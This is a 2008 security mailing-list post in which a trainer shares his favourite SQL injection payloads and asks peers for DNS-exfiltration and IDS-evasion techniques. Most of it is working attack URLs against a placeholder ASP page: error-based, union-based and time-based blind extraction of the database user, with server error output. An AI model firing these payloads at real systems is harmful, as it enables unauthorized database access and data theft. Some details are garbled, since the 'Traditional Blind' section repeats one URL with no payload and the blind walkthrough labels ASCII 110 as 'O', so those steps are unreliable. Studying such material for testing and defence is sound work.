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SQL Injection Techniques (favorite syntaxes)...help requested...
From: Joseph McCray <joe () learnsecurityonline com>
Date: Fri, 13 Jun 2008 18:31:19 -0400

Hey everybody, I'm working on a few projects related to SQL Injection
and trying to kill a few birds with 1 stone. 

I'm curious what are your favorite methods for identifying and
exploiting SQL Injection. I'm looking for example syntax here that
you've found has worked well for you in the past.


Here are a few snippets of techniques I like to use, I'm looking for
example syntax for data exfiltration via DNS, and IDS Evasion with SQL
Injection.


                Error-Based
#####################################################
Error-Based SQL Injection Syntax for extracting the USER

http://[site]/page.asp?id=1 or 1=convert(int,(USER))--

Syntax error converting the nvarchar value '[DB USER]' to a column of
data type int.



                Union-Based
#####################################################
Union-Based SQL Injection Syntax for extracting the USER

http://[site]/page.asp?id=1 UNION SELECT ALL 1--

All queries in an SQL statement containing a UNION operator must have an
equal number of expressions in their target lists.

http://[site]/page.asp?id=1 UNION SELECT ALL 1,2--

All queries in an SQL statement containing a UNION operator must have an
equal number of expressions in their target lists.

http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3--

All queries in an SQL statement containing a UNION operator must have an
equal number of expressions in their target lists.

http://[site]/page.asp?id=1 UNION SELECT ALL 1,2,3,4--

NO ERROR

http://[site]/page.asp?id=1 UNION SELECT ALL 1,USER,3,4--


                Traditional Blind
#####################################################
http://[site]/page.asp?id=1
http://[site]/page.asp?id=1


                Time-Based Blind
#####################################################
Blind SQL Injection Syntax for extracting the USER

3 - Total Characters
http://[site]/page.asp?id=1; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'--
(+10 seconds)

D  - 1st Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))>97)
WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=98)
WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),1,1)))=99)
WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF
(ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'--
(+10 seconds)
 
B - 2nd Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))>97)
WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),2,1)))=98)
WAITFOR DELAY '00:00:10'-- (+10 seconds)
 
O - 3rd Character
http://[site]/page.asp?id=1; IF (ASCII(lower(substring((USER),3,1)))>97)
WAITFOR DELAY '00:00:10'-- (+10 seconds)
http://[site]/page.asp?id=1; IF
(ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF
(ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'--
(+10 seconds)
http://[site]/page.asp?id=1; IF
(ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'--
(+10 seconds)
http://[site]/page.asp?id=1; IF
(ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
http://[site]/page.asp?id=1; IF
(ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
(+10 seconds)

Database User = DBO




-- 
Joe McCray
Toll Free:  1-866-892-2132
Email:      joe () learnsecurityonline com
Web:        https://www.learnsecurityonline.com


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